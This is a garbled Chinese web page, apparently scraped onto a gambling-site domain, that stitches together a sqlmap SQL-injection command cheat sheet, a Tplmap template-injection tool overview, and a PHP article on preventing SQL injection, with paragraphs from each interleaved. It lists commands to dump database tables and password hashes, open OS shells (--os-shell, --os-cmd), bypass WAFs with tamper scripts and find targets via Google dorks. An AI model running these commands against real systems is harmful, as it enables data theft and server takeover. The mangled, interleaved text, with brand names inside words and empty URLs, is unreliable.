当前位置: 新豪天地登录网址 > www.3559.com > 正文

www.3559.com:注入神器sqlmap,谈谈PHP网站的防SQL注

时间:2019-09-11 10:11来源:www.3559.com
原标题:Tplmap - 扫描服务器端模板注入漏洞的开源工具 1、查询数据   探究PHP网址的防SQL注入,谈谈phpsql注入 SQL(Structured Query Language)即结构化查询语言。SQL 注入,正是把 SQL命令插入

原标题:Tplmap - 扫描服务器端模板注入漏洞的开源工具

1、查询数据

 

探究PHP网址的防SQL注入,谈谈phpsql注入

SQL(Structured Query Language)即结构化查询语言。SQL 注入,正是把 SQL 命令插入到 Web 表单的输入域或页面央浼参数的询问字符串中,在 Web表单向 Web 服务器交由 GET 或 POST 须求时,如若服务器端未严苛验证参数的管用和合法性,将促成数据库服务器实践恶意的 SQL 命令。

SQL 注入攻击的进程:

(1)决断 Web 应用是或不是能够开展 SQL 注入。

(2)寻找 SQL 注入点。

(3)猜解客户名和密码。

(4)寻觅 Web 系统处理后台入口。

(5)施行凌犯和破坏。

Tplmap是一个python工具,能够透过利用沙箱转义本领找到代码注入和劳务器端模板注入(SSTI)漏洞。该工具能够在非常多模板引擎中央银行使SSTI来访问目的文件或操作系统。一些受扶助的模版引擎包含PHP(代码评估),Ruby(代码评估),Jave(代码评估),Python(代码评估),ERB,Jinja2和Tornado。该工具得以实行对那一个模板引擎的盲注入,并具有施行远程命令的力量。

./sqlmap.py -u “ sqlmap 提示 do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n]  选 y

Sqlmap:

  • 一般注入流程:
  • sqlmap -u "www.ONDragon.com/ONDragon?id=1" --dbs   查看全部数据库

    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-db 查看当前数据库
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --user       查看数据库用户名
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --current-user  查看当前用户名 
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --is-dba     判断权限
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" –privileges  判断权限
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --passwords  枚举密码哈希
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" --tables -D database'name    获取数据库的表名
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name --columns   获取数据库对应表的字段
    
    sqlmap -u "www.ONDragon.com/ONDragon?id=1" -D database'name -T table'name -C column'name --dump  获取数据库对应表的字段的值   --dump-all  获取所有内容
    
  • -u (get型注入)

    sqlmap -u "www.ONDragon.com/?ONDragon=1"

  • --data (post型注入)

    sqlmap -u "www.ONDragon.com/ONDragon" --data="user=admin&pass=pass" sqlmap -r requests.txt 读取http包进行活动post注入(也能够走入http尾部的大肆地点注入,只要在注入地点投入 * 即可) sqlmap "www.ONDragon.com" --forms

  • --coockie (cookie注入)

    sqlmap -u "www.ONDragon.com/ONDragon" --cookie="user=admin&pass=pass" --level 2 (level 大于2就行)

  • --batch (自动选拔sqlmap私下认可选项)

  • -p  (参数选取)

    sqlmap -u "www.ONDragon.com" --forms -p admin

1.ACCESS数据库:

sqlmap.py -u “url” /*-u为正规扫描参数*/

sqlmap.py -u “url” –tables /*–tables拆数据库表*/

sqlmap.py -u “url” –columns -T “要拆的表名”/*列出钦点表名*/

sqlmap.py -u “url” –dump -T “要拆的表名”-C “要拆的字段名” /*–dump为拆毁字段名会保存在sqlmap/output目录下*/

2.MYSQL数据库:

sqlmap.py -u “url” /*举目四望注入点*/

sqlmap.py -u “url” –dbs /*列出富有数据库*/

sqlmap.py -u “url” –current-db /*列出当下数据库*/

sqlmap.py -u “url” –current-user /*列出方今顾客*/

sqlmap.py -u “url” –tables -D “当前数量库名” /*拆迁当前多少库表*/

sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数码库名” /*拆除与搬迁钦命表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

3.SQLSERVER数据库:

sqlmap.py -u “url” /*举目四望注入点*/

sqlmap.py -u “url” –dbs /*列出富有数据库*/

sqlmap.py -u “url” –current-db /*列出前段时间数据库*/

sqlmap.py -u “url” –current-user /*列出脚下客户*/

sqlmap.py -u “url” –tables -D “当前数据库名” /*拆除当前数码库表*/

sqlmap.py -u “url” –columns -T “要拆得的表名” -D “当前数码库名” /*拆解内定表字段名*/

sqlmap.py -u “url” –dump -C “字段名” -T “表名” -D “当前数据库”

SQLSE奇骏VE奥迪Q3操作和MYSQL是一模二样的!!!常见的二种数据库!!!

4.COOKIE注入:

sqlmap.py -u “www.xxx.com/asp可能www.xxx.com/php” –cookie “参数名如id=1” –level 2/*level为提高权限*/

怎么样数据库就依据地点的数据库加上cookie语句拆解就行了

5.POST注入:

抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /*xxx.txt为保存包文件的公文名”

sqlmap.py -u “url” –data “POST参数”

6.执行shell命令:

sqlmap.py -u “url” –os-cmd=”net user” /*执行net user命令*/

sqlmap.py -u “url” –os-shell /*系统相互的shell*/

7.注入HTTP请求 :

sqlmap.py -r xxx.txt –dbs /*xxx.txt内容为HTTP请求*www.3559.com ,/

8.绕过WAF的tamper插件使用:

sqlmap.py -u “url” –tamper “xxx.py”

sqlmap.py -u “url” –tamper=”xxx.py”

至于tamper脚本详细表达在本博客中有,链接为:

9.将注入语句插入到内定地方:

sqlmap.py -u “url(www.xxx.com/id/1*.html)” –dbs

稍加网址是选用伪静态的页面使用SQLMAP的普通注入是极其的,所以SQLMAP提供了”*”参数将SQL语句插入内定地点,一般用于伪静态注入。

在选取HTTP注入时选取-r参数也得以直接在文件中增多*号

10.延时注入:

sqlmap –dbs -u “url” –delay 0.5 /*延时0.5秒*/

sqlmap –dbs -u “url” –safe-freq /*请求2次*/

11.使用Google语法寻觅注入(Googlehack):

sqlmap.py -g “inurl:asp?id=1” /*””内为寻觅语法,如:inurl,intitle,site,filetype等等。


Options(选项):

–version 展现程序的版本号并脱离

-h, –help 展现此支持音信并退出

-v VERubiconLibratone 详细等级:0-6(默以为1)

Target(目标):

以下至少必要安装当中多少个选用,设置指标U奥德赛L。

-d DIRECT 直接连接到数据库。

-u URL, –url=URL 目标URL。

-l LIST 从Burp或WebScarab代理的日记中深入分析指标。

-r REQUESTFILE 从一个文书中载入HTTP诉求。

-g GOOGLEDO兰德TucsonK 管理谷歌(Google)dork的结果作为目的UXC90L。

-c CONFIGFILE 从INI配置文件中加载选项。

Request(请求):

那一个选用能够用来钦赐怎么着连接到目的USportageL。

–data=DATA 通过POST发送的数量字符串

–cookie=COOKIE HTTP Cookie头

–cookie-urlencode URAV4L 编码生成的cookie注入

–drop-set-cookie 忽略响应的Set – Cookie头消息

–user-agent=AGENT 指定 HTTP User – Agent头

–random-agent 使用随机选定的HTTP User – Agent头

–referer=REFERER 指定 HTTP Referer头

–headers=HEADEEnclaveS 换行分开,加入其余的HTTP头

–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)

–auth-cred=ACRED HTTP身份验证凭据(客商名:密码)

–auth-cert=ACERT HTTP认证证书(key_file,cert_file)

–proxy=PROXY 使用HTTP代理连接到对象U奥迪Q5L

–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)

–ignore-proxy 忽略系统暗许的HTTP代理

–delay=DELAY 在每种HTTP乞求之间的延迟时间,单位为秒

–timeout=TIMEOUT 等待连接超时的时间(默以为30秒)

–retries=RET瑞虎IES 连接超时后再也连接的日子(暗中同意3)

–scope=SCOPE 从所提供的代办日志中过滤器目的的正则表明式

–safe-url=SAFUXC60L 在测量试验进程中不经常访谈的url地址

–safe-freq=SAFREQ 一回访谈之间测量检验央求,给出安全的ULANDL

Optimization(优化):

那些采取可用于优化SqlMap的习性。

-o 开启全数优化开关

–predict-output 预测常见的询问输出

–keep-alive 使用持久的HTTP(S)连接

–null-connection 从没有实际的HTTP响应体中寻找页面长度

–threads=THREADS 最大的HTTP(S)央浼并发量(暗中认可为1)

Injection(注入):

这么些选拔能够用来钦赐测量检验哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETEPAJERO 可测验的参数(S)

–dbms=DBMS 强制后端的DBMS为此值

–os=OS 强制后端的DBMS操作系统为那些值

–prefix=PREFIX 注入payload字符串前缀

–suffix=SUFFIX 注入payload字符串后缀

–tamper=TAMPE昂科威使用给定的本子(S)篡改注入数据

Detection(检测):

那个选取能够用来钦赐在SQL盲注时怎么样深入分析和比较HTTP响应页面包车型客车内容。

–level=LEVEL 施行测量试验的等第(1-5,默以为1)

–risk=EvoqueISK 实施测验的风险(0-3,暗中同意为1)

–string=ST本田CR-VING 查询时有效时在页面相配字符串

–regexp=REGEXP 查询时有效时在页面相称正则表明式

–text-only 仅依照在文件内容比较网页

Techniques(技巧):

那几个选择可用于调度具体的SQL注入测量试验。

–technique=TECH SQL注入本领测验(默许BEUST)

–time-sec=TIMESEC DBMS响应的延迟时间(默感到5秒)

–union-cols=UCOLS 定列范围用于测量试验UNION查询注入

–union-char=UCHATiguan用于暴力猜解列数的字符

Fingerprint(指纹):

-f, –fingerprint 实行检查广泛的DBMS版本指纹

Enumeration(枚举):

这个采用可以用来列举后端数据库处理种类的音讯、表中的组织和数码。其它,您还足以运作您自个儿

的SQL语句。

-b, –banner 检索数据库管理种类的标志

–current-user 检索数据库处理种类当下顾客

–current-db 检索数据库管理体系当下数据库

–is-dba 检查测验DBMS当前客商是或不是DBA

–users 枚举数据库管理体系客户

–passwords 枚举数据库管理种类顾客密码哈希

–privileges 枚举数据库管理类别客户的权杖

–roles 枚举数据库处理种类顾客的剧中人物

–dbs 枚举数据库管理种类数据库

–tables 枚举的DBMS数据库中的表

–columns 枚举DBMS数据库表列

–dump 转储数据库管理类别的数据库中的表项

–dump-all 转储全体的DBMS数据库表中的条文

–search 搜索列(S),表(S)和/或数据库名称(S)

-D DB 要举办枚举的数量库名

-T TBL 要扩充枚举的数码库表

-C COL 要开展枚举的多少库列

-U USECRUISER 用来举办枚举的数据库客商

–exclude-sysdbs 枚举表时排除系统数据库

–start=LIMITSTART 第1个查询输出步入检索

–stop=LIMITSTOP 最后查询的出口步入检索

–first=FI昂科威STCHA帕杰罗第多个查询输出字的字符检索

–last=LASTCHALacrosse最终查询的输出字字符检索

–sql-query=QUEENCOREY 要推行的SQL语句

–sql-shell 提醒交互式SQL的shell

Brute force(蛮力):

这么些采用能够被用来运行蛮力检查。

–common-tables 检查存在共同表

–common-columns 检查存在共同列

User-defined function injection(顾客自定义函数注入):

那些采取能够用来成立顾客自定义函数。

–udf-inject 注入客商自定义函数

–shared-lib=SHLIB 分享库的本地路线

File system access(访谈文件系统):

那些选用能够被用于访谈后端数据库管理类别的平底文件系统。

–file-read=福特ExplorerFILE 从后端的数据库管理系统文件系统读取文件

–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本土文件

–file-dest=DFILE 后端的数据库处理种类写入文件的相对路线

Operating system access(操作系统访谈):

那些选取能够用于访问后端数据库管理种类的底层操作系统。

 

–os-cmd=OSCMD 施行操作系统命令

–os-shell 交互式的操作系统的shell

–os-pwn 获取一个OOB shell,meterpreter或VNC

–os-smbrelay 一键获取三个OOB shell,meterpreter或VNC

–os-bof 存款和储蓄进程缓冲区溢出利用

–priv-esc 数据库进度客户权限提升

–msf-path=MSFPATH Metasploit Framework本地的装置路线

–tmp-path=TMPPATH 远程不常文件目录的相对路线

Windows注册表访谈:

那个选择能够被用来访谈后端数据库管理种类Windows注册表。

–reg-read 读多少个Windows注册表项值

–reg-add 写二个Windows注册表项值数据

–reg-del 删除Windows注册表键值

–reg-key=REGKEY Windows注册表键

–reg-value=REGVAL Windows注册表项值

–reg-data=REGDATA Windows注册表键值多少

–reg-type=REGTYPE Windows注册表项值类型

General(一般):

这几个选取能够用来安装有个别相似的职业参数。

-t TRAFFICFILE 记录全体HTTP流量到一个文件文件中

-s SESSIONFILE 保存和回复检索会话文件的具有数据

–flush-session 刷新当前指标的对话文件

–fresh-queries 忽略在对话文件中蕴藏的询问结果

–eta 展现各个输出的展望到达时间

–update 更新SqlMap

–save file保存选项到INI配置文件

–batch 从不询问客商输入,使用具备暗中同意配置。

Miscellaneous(杂项):

–beep 发掘SQL注入时提示

–check-payload IDS对流入payloads的质量评定测量试验

–cleanup SqlMap具体的UDF和表清理DBMS

–forms 对指标U卡宴L的深入分析和测量试验方式

–gpage=GOOGLEPAGE 从钦定的页码使用Googledork结果

–page-rank Googledork结果展现网页排名(PCRUISER)

–parse-errors 从响应页面分析数据库处理体系的一无所长音信

–replicate 复制转储的数目到贰个sqlite3数据库

–tor 使用暗许的Tor(Vidalia/ Privoxy/ Polipo)代理地址

–wizard 给初级客户的简便向导分界面

一、     SQL注入漏洞测量试验工具

安装Tplmap

提示参数 id 有尾巴,是还是不是要维持别的测量检验,按 y 回车分明 GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

1.    Sqlmap

Sqlmap 是三个自动化的 SQL 注入工具, 其首要作用是扫描,发现并选拔给定的 U福睿斯L 的 SQL 注入漏洞,日前扶助的数据库是MS SQL Server, MySQL, oracle 和 postgresql。 SQLMAP 选择各个奇特的 SQL 注入本领,分别是盲推理 SQL 注入, UNION 查询 SQL 注入,堆查询和依照时间的 SQL 盲注入。其相近的机能和挑选满含数据库指纹,枚举, 数据库提取,访谈目的文件系统,并在收获完全操作权有效期进行随机命令。

1.1      sqlmap 常用命令介绍

Target(目的):至少要求安装个中一个精选,设置目的 UCR-VL。

-d DIRECT 直接连接到数据库。

-u URL,--url=URL 目标 URL。

Request(须求):那一个接纳可以用来钦命怎么着连接到指标 U传祺L。

――data=DATA 通过 POST 发送的数额字符串。

――cookie=COOKIE HTTP Cookie 头。

Optimization(优化):那几个选拔可用于优化 sqlmap 的性质。

-o 开户全体优化开关

--threads=THREADS 最大的 HTTP( S)央求并发量(默感觉 1)。

Injection(注入):这几个采用可以用来钦赐测量试验哪些参数。

-p TESTPARAMETE汉兰达 可测量试验的参数。

--prefix=PREFIX 注入 payload 字符串前缀。

www.3559.com 1

获取具备数据库名 因为早已知晓数据库名称为微软的 sql server,为了加速检查实验速度,钦命数据库参数 --dbms=mssql ./sqlmap.py -u "" --dbms=mssql --dbs

2     SQLIer

SQLIer能够找到网址上二个有SQL注入漏洞的UPAJEROL,并依赖有关消息来扭转利用SQL注入漏洞,但它不须要客户的相互。通过这种办法,它能够生成四个UNION SELECT查询,进而可以强力攻击数据库口令。那么些顺序在应用漏洞时并不选用引号,那意味着它可适应种种网址。  

SQLIer通过“true/false” SQL注入漏洞强力口令。借助于“true/false” SQL注入漏洞强力口令,客户是敬谢不敏从数据库查询数据的,只好查询多少个可再次回到“true”、“false”值的言辞。  

据计算,三个三个字符的口令(包含十进制ASCII代码的另外字符)仅需求大约1秒钟就能够破解。

2.1      其行使语法如下,sqlier [选项] [URL]

其选项如下: 

-c :[主机] 清除主机的尾巴使用新闻 

-s :[秒]在网页须求之间等待的秒数  

-u:[用户名]从数据库中强力攻击的客商名,用逗号隔开分离

-w:[选项]将[选项]交由wget

其它,此程序还帮衬推断字段名,有如下三种选用:  

--table-names [报表名称]:可开展预计的报表名称,用逗号隔开分离

--user-田野同志s[客商字段]:可举行猜想的顾客名字段名称,用逗号隔开

--pass-fields [口令字段]:可进展估计的口令字段名称,用逗号隔绝

可以透过动用以下github链接从github存款和储蓄Cook隆该工具来设置Tplmap。

脚下网页连接数据库名 ./sqlmap.py -u "" --dbms=mssql --current-db

3     Pangolin

Pangolin是一款辅助渗透测量检验人员举行SQL注入(SQL Injeciton)测量试验的平安工具。Pangolin与JSky(Web应用安全漏洞扫描器、Web应用安全评估工具)都以NOSEC公司的成品。Pangolin具有友好的图形分界面以及辅助测量试验大概所有数据库(Access、MSSql、MySql、Oracle、Informix、DB2、Sybase、PostgreSQL、Sqlite)。Pangolin可以因而一种类极度简单的操作,到达最大化的攻击测量检验效果。它从检验注入开头到终极调节目的系统都交由了测验步骤。Pangolin是现阶段国内使用率最高的SQL注入测量检验的安全软件。

git clone

内定数据库全部表 ./sqlmap.py -u "" --dbms=mssql --table -D "testdb"

二、     卫戍SQL注入攻击

成功安装后,将引得路线改动为tplmap安装文件以运营tplmap.py。

读取钦点表中的字段名 ./sqlmap.py -u "" --dbms=mssql -D "testdb" -T "admin" --columns

1.    对输入的数目举办过滤(过滤输入)

a)      对于动态构造SQL查询的场面,能够运用替换字符和删除特殊字符的主意。

b)     检查顾客输入的合法性,幸免不法数据输入。数据检查应当在客商端和劳动器端施行。施行服务器端验证,是为着弥补顾客端验证机制的贫乏。

c)      限制表单或询问字符串输入的长短限制。

d)     加密客户登陆名称、 密码等数码。

测验Web应用程序中的漏洞

读取钦定字段内容 ./sqlmap.py -u "" --dbms=mssql -D "testdb" -T "admin" --dump -C "username,password"

2.    对发送到数据库的多少进行转义(转义输出)

尽量使用为自定义数据库设计的转义函数。若无,使用函数addslashes()是相比较好的章程,对字符串型参数使用mysql_real_escape_string函数、对数字型参数使用intval,floatval函数强制过滤则更加好。当有着用于组建八个SQL 语句的数目被准确过滤和转义时,实际上也就幸免了 SQL注入的高危机。

Tplmap不止选取了文件系统的纰漏,并且还存有应用分歧参数访谈底层操作系统的技巧。以下荧屏截图显示了可用来访谈操作系统的两样参数选项

2、施行系统命令

3.    参数化查询

参数化查询(Parameterized Query)指的是 Web 程序在试行数据库查询时,在需提交数值或数量的地点制止直接赋值,而是利用参数来传递给值。

应用参数化查询手艺,数据库服务器不会将参数的剧情正是 SQL 指令的七个组成都部队分来管理,在数据库系统达成对 SQL 指令的编写翻译后,再载入参数运转。因而,即便参数中隐含指令,也不会被数据库编写翻译运营。

www.3559.com 2

./sqlmap.py -u "" --dbms=mssql --os-shell --threads=10

4.    使用存款和储蓄进度

储存进程存款和储蓄在数据库系统里头, Web 应用程序通过调用来进行存款和储蓄进度, 该能力允许客户定义变量、有准则推行以及别的丰裕的编制程序功用。程序开辟者利用存款和储蓄进程事先营造好的 SQL 查询语句代码,然后在运用中通过参数字传送输数值。存款和储蓄进程在行使时起到三点安全成效:首先,存款和储蓄进程进行前要开展预编写翻译,编写翻译出错不予实施;其次,对于数据的授权访问是基于存款和储蓄进程并非一向访谈基本表,攻击者不能够探测到 select 语句;最终,存款和储蓄进度能够钦定和表明客商提供的值类型。

唯独,存款和储蓄进程也设有一定的受制,要是存款和储蓄进度中进行的下令是拼接字符串,则会设有被注入攻击的隐患。另外,存款和储蓄进度并不援助具有的数据库平台。

以下命令可用以测量检验对象U途胜L中的易受攻击的参数。

3、常见参数

5.    使用PDO连接数据库

制止SQL注入最棒的秘诀就是绝不自个儿设置SQL 命令和参数,而是用PDO的prepare和bind,原理就在于要把SQL查询命令和传递的参数分开。使用prepare的时候,DB server会把SQL语句分析成SQL命令。使用bind的时候,只是动态传递DB Server剖判好的 SQL 命令。

./tplmap.py -u <'指标网站'>

流入点 HTTP 钦命乞请方法检查评定 POST --data="password=88952634&rem=on&username=88952634"

三、     总结

除开以上介绍的堤防SQL注入攻击方式之外,还也会有URAV4L复位手艺、页面静态化、屏蔽出错消息、使用web应用防火墙等方法。通过上述措施,SQL注入才具未焚徙薪。

SQL(Structured Query Language)即结构化查询语言。SQL 注入,正是把 SQL 命令插入到 Web 表单的输入域或页...

实行该命令后,该工具会针对四个插件测验指标U中华VL以搜寻代码注入机遇。

Cookie --cookie "cookie value" 登入检测

www.3559.com 3

流入查询数据技巧 --technique=U  钦定 Union 技巧

假若开采漏洞,该工具将出口有关目的中大概注入点的详细消息。这么些归纳GET参数值(无论是id仍然名称),模板引擎(举个例子Tornado),OS(举个例子Linux)和注入技艺(比如渲染,盲)。

流入 HTTP 全数办法注入检验 --level3  检查实验 HTTP 方法深度,GET、POST、Cookie、User-agent 和 Referer

www.3559.com 4

Base64 编码 url 注入点 sqlmap -u --tamper base64encode.py

对于易受攻击的目的操作系统,能够利用后面提到的内部七个参数重国民党的新生活运动行tplmap命令。举例,大家能够通过以下方法将-os -shell选项与tplmap命令一同利用。

检查测量试验 DBMS 当前客户是不是 DBA(注入点施行操作系统命令一般必要 DBA 权限) --is-dba

./tplmap.py --os-shell -u <'目的网站'>

未有询问顾客输入,使用具有暗中认可配置 --batch

-os -shell选项在指标操作系统上运营伪终端以实践所需的代码。

暗中认可最大线程数为 10 --threads=10

小说出处:latesthackingnews回去博客园,查看越来越多

  1. #HiRoot's Blog  

责编:

 2. Options(选项):  

 3. --version 呈现程序的版本号并脱离 

 4. -h, --help 展现此支持新闻并退出

  5. -v VEEvoque爱谱王 详细等第:0-6(默感觉 1)

6.    7. Target(目标): 

 8. 以下至少供给安装在那之中多个摘取,设置目的 U科雷傲L。

9.   

 10. -d DIRECT 间接连接到数据库。 

 11. -u URL, --url=URL 目标 URL。 

 12. -l LIST 从 Burp 或 WebScarab 代理的日志中分析目的。

  13. -r REQUESTFILE 从三个文本中载入 HTTP 央求。 

 14. -g GOOGLEDO陆风X8K 管理 Google dork 的结果作为靶子 U瑞鹰L。

  15. -c CONFIGFILE 从 INI 配置文件中加载选项。

16.    

  1. Request(请求)

  2. 那几个选用可以用来钦定怎么样连接到对象 U福睿斯L。

19.   

 20. --data=DATA 通过 POST 发送的数量字符串  

  1. --cookie=COOKIE HTTP Cookie 头 

 22. --cookie-urlencode UQX56L 编码生成的 cookie 注入 

 23. --drop-set-cookie 忽略响应的 Set - Cookie 头信息 

 24. --user-agent=AGENT 指定 HTTP User - Agent 头 

 25. --random-agent 使用随机选定的 HTTP User - Agent 头

  26. --referer=REFERER 指定 HTTP Referer 头  

  1. --headers=HEADELX570S 换行分开,到场其余的 HTTP 头

  28. --auth-type=ATYPE HTTP 身份验证类型(基本,摘要或 NTLM)

(Basic, Digest or NTLM) 

 29. --auth-cred=ACRED HTTP 身份验证凭据(客商名:密码)

  30. --auth-cert=ACERT HTTP 认证证书(key_file,cert_file)

  31. --proxy=PROXY 使用 HTTP 代理连接到目的 UTucsonL

  1. --proxy-cred=PCRED HTTP 代理身份验证凭据(顾客名:密码) 

 33. --ignore-proxy 忽略系统暗中认可的 HTTP 代理 

 34. --delay=DELAY 在种种 HTTP 央求之间的延迟时间,单位为秒 

 35. --timeout=TIMEOUT 等待连接超时的小运(默感到 30 秒) 

 36. --retries=RETWranglerIES 连接超时后再也连接的时间(默许 3)

  37. --scope=SCOPE 从所提供的代办日志中过滤器指标的正则表达式 

 38. --safe-url=SAFUOdysseyL 在测验进度中时常访谈的 url 地址  

  1. --safe-freq=SAFREQ 五回访问之间测量检验央求,给出安全的 UEscortL

40.    41. Optimization(优化):

  42. 那几个接纳可用于优化 SqlMap 的特性。

43.   

 44. -o 开启全体优化开关  

 45. --predict-output 预测常见的查询输出

  46. --keep-alive 使用悠久的 HTTP(S)连接 

 47. --null-connection 从不曾实际的 HTTP 响应体中找找页面长度 

 48. --threads=THREADS 最大的 HTTP(S)央求并发量(默以为 1)

49.    50. Injection(注入):  

 51. 那几个选拔可以用来内定测量试验哪些参数, 提供自定义的注入 payloads 和可选篡改脚 本。

52.   

 53. -p TESTPARAMETE悍马H2 可测量检验的参数(S)  

  1. --dbms=DBMS 强制后端的 DBMS 为此值 

 55. --os=OS 强制后端的 DBMS 操作系统为那几个值

  1. --prefix=PREFIX 注入 payload 字符串前缀 

 57. --suffix=SUFFIX 注入 payload 字符串后缀  

  1. --tamper=TAMPEEvoque 使用给定的剧本(S)篡改注入数据

59.    60. Detection(检测): 

 61. 那么些选用能够用来内定在 SQL 盲注时如何剖判和比较 HTTP 响应页面包车型客车剧情。

62.   

 63. --level=LEVEL 推行测量试验的级差(1-5,默以为 1)

  64. --risk=KoleosISK 实施测量试验的危害(0-3,默以为 1)

 65. --string=ST君越ING 查询时有效时在页面相配字符串

  1. --regexp=REGEXP 查询时有效时在页面匹配正则表达式 

 67. --text-only 仅依据在文件内容比较网页

68.    69. Techniques(技巧):  

 70. 那一个选用可用于调度具体的 SQL 注入测量试验。

71.    72. --technique=TECH SQL 注入手艺测量试验(默许 BEUST) 

 73. --time-sec=TIMESEC DBMS 响应的延迟时间(默以为 5 秒) 

 74. --union-cols=UCOLS 定列范围用于测验 UNION 查询注入  

  1. --union-char=UCHAEnclave 用于暴力猜解列数的字符

76.    77. Fingerprint(指纹): 

 78. -f, --fingerprint 实行检查布满的 DBMS 版本指纹

79.    80. Enumeration(枚举):

  81. 那个选拔能够用来列举后端数据库管理类其他新闻、表中的布局和数据。别的,您 还是可以运维您本人

  1. 的 SQL 语句。 

 83. -b, --banner 检索数据库管理体系的标志 

 84. --current-user 检索数据库处理种类当下顾客 

 85. --current-db 检索数据库管理连串当下数码库 

 86. --is-dba 检验 DBMS 当前客商是还是不是 DBA 

 87. --users 枚举数据库管理种类客户

  88. --passwords 枚举数据库管理种类客商密码哈希 

 89. --privileges 枚举数据库管理种类顾客的权限 

 90. --roles 枚举数据库管理种类客商的剧中人物 

 91. --dbs 枚举数据库管理种类数据库  

 92. --tables 枚举的 DBMS 数据库中的表 

 93. --columns 枚举 DBMS 数据库表列 

 94. --dump 转储数据库管理类别的数据库中的表项  

  1. --dump-all 转储全部的 DBMS 数据库表中的条约 

 96. --search 搜索列(S),表(S)和/或数据库名称(S)

  97. -D DB 要拓宽枚举的数据库名  

 98. -T TBL 要开展枚举的数据库表  

 99. -C COL 要开展枚举的数据库列

  1. -U USE昂科雷 用来拓宽枚举的数据库顾客  

  2. --exclude-sysdbs 枚举表时排除系统数据库  

  3. --start=LIMITSTART 首先个查询输出步向检索  

  4. --stop=LIMITSTOP 最终查询的出口步向检索  

  5. --first=FI哈弗STCHA福特Explorer 率先个查询输出字的字符检索  

  6. --last=LASTCHA宝马X3 最终查询的出口字字符检索  

 106. --sql-query=QUELANDY 要实施的 SQL 语句 

 107. --sql-shell 提醒交互式 SQL 的 shell

108.    109. Brute force(蛮力):  

 110. 那一个选拔能够被用来运行蛮力检查。

111.    112. --common-tables 检查存在共同表  

 113. --common-columns 检查存在共同列

114.    115. User-defined function injection(客户自定义函数注入):

  1. 这么些选取能够用来创设客户自定义函数。

117.    118. --udf-inject 注入顾客自定义函数  

 119. --shared-lib=SHLIB 分享库的地面路线

120.    121. File system access(访谈文件系统): 

 122. 那一个采取能够被用来访谈后端数据库处理系列的底部文件系统。

123.    124. --file-read=MuranoFILE 从后端的数据库处理系统文件系统读取文件 

  1. --file-write=WFILE 编辑后端的数据库管理系统文件系统上的地面文件 
  2. --file-dest=DFILE 后端的数据库管理连串写入文件的相对路线

127.    128. Operating system access(操作系统访谈): 

 129. 这么些选取能够用于访谈后端数据库处理连串的最底层操作系统。

130.    131. --os-cmd=OSCMD 试行操作系统命令  

 132. --os-shell 交互式的操作系统的 shell  

 133. --os-pwn 获取三个 OOB shell,meterpreter 或 VNC  

  1. --os-smbrelay 一键获取二个 OOB shell,meterpreter 或 VNC

  2. --os-bof 存储进度缓冲区溢出利用  

 136. --priv-esc 数据库进程客户权限提高  

 137. --msf-path=MSFPATH Metasploit Framework 本地的设置路线  

  1. --tmp-path=TMPPATH 远程不经常文件目录的相对路线

139.    140. Windows 注册表访谈: 

 141. 那些接纳能够被用来访问后端数据库管理种类 Windows 注册表。

142.    143. --reg-read 读多少个 Windows 注册表项值 

  1. --reg-add 写四个 Windows 注册表项值数据  

  2. --reg-del 删除 Windows 注册表键值 

 146. --reg-key=REGKEY Windows 注册表键  

  1. --reg-value=REGVAL Windows 注册表项值  

  2. --reg-data=REGDATA Windows 注册表键值多少  

 149. --reg-type=REGTYPE Windows 注册表项值类型

150.    151. General(一般):

152.    153. 这么些选取能够用来安装某些相似的做事参数。 

  1. -t TRAFFICFILE 记录全数 HTTP 流量到一个文件文件中 

 155. -s SESSIONFILE 保存和回复检索会话文件的持有数据  

  1. --flush-session 刷新当前目的的对话文件 

 157. --fresh-queries 忽略在对话文件中积存的查询结果  

  1. --eta 展现各个输出的前瞻达到时刻  

 159. --update 更新 SqlMap  160. --save file 保存选项到 INI 配置文件 

 161. --batch 从不询问顾客输入,使用具有暗中认可配置。

162.    163. Miscellaneous(杂项): 

 164. --beep 发掘 SQL 注入时提示

  165. --check-payload IDS 对流入 payloads 的检验测量检验  

 166. --cleanup SqlMap 具体的 UDF 和表清理 DBMS  

  1. --forms 对指标 UCR-VL 的分析和测量检验情势 

 168. --gpage=GOOGLEPAGE 从钦命的页码使用谷歌(Google) dork 结果  

 169. --page-rank Google dork 结果显示网页排行(P昂科拉)

  1. --parse-errors 从响应页面解析数据库管理体系的荒谬音信

  171. --replicate 复制转储的数目到八个 sqlite3 数据库  

 172. --tor 使用暗中认可的 Tor(Vidalia/ Privoxy/ Polipo)代理地址  

  1. --wizard 给初级客商的简练向导分界面

编辑:www.3559.com 本文来源:www.3559.com:注入神器sqlmap,谈谈PHP网站的防SQL注

关键词: www.3559.com